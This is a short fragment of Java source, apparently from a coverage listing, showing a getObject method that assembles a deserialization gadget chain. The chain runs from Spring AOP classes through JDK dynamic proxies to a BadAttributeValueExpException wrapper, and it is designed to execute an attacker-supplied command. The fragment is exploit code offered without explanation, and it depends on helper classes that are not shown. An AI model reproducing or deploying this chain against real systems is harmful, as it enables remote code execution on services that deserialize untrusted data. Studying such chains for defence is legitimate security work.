(String cmd)
| 28 | |
| 29 | |
| 30 | public Object getObject (String cmd) throws Throwable { |
| 31 | AspectJAroundAdvice aspectJAroundAdvice = getAspectJAroundAdvice(cmd); |
| 32 | InvocationHandler jdkDynamicAopProxy1 = (InvocationHandler) JdkDynamicAopProxyNode.makeGadget(aspectJAroundAdvice); |
| 33 | Object proxy1 = Proxy.makeGadget(jdkDynamicAopProxy1, Advisor.class, MethodInterceptor.class); |
| 34 | Advisor advisor = new DefaultIntroductionAdvisor((Advice) proxy1); |
| 35 | List<Advisor> advisors = new ArrayList<>(); |
| 36 | advisors.add(advisor); |
| 37 | AdvisedSupport advisedSupport = new AdvisedSupport(); |
| 38 | Reflections.setFieldValue(advisedSupport,"advisors",advisors); |
| 39 | DefaultAdvisorChainFactory advisorChainFactory = new DefaultAdvisorChainFactory(); |
| 40 | Reflections.setFieldValue(advisedSupport,"advisorChainFactory",advisorChainFactory); |
| 41 | InvocationHandler jdkDynamicAopProxy2 = (InvocationHandler) JdkDynamicAopProxyNode.makeGadget("ape1ron",advisedSupport); |
| 42 | Object proxy2 = Proxy.makeGadget(jdkDynamicAopProxy2, Map.class); |
| 43 | |
| 44 | Object badAttrValExe = BadAttrValExeNode.makeGadget(proxy2); |
| 45 | return badAttrValExe; |
| 46 | } |
| 47 | |
| 48 | |
| 49 |
no test coverage detected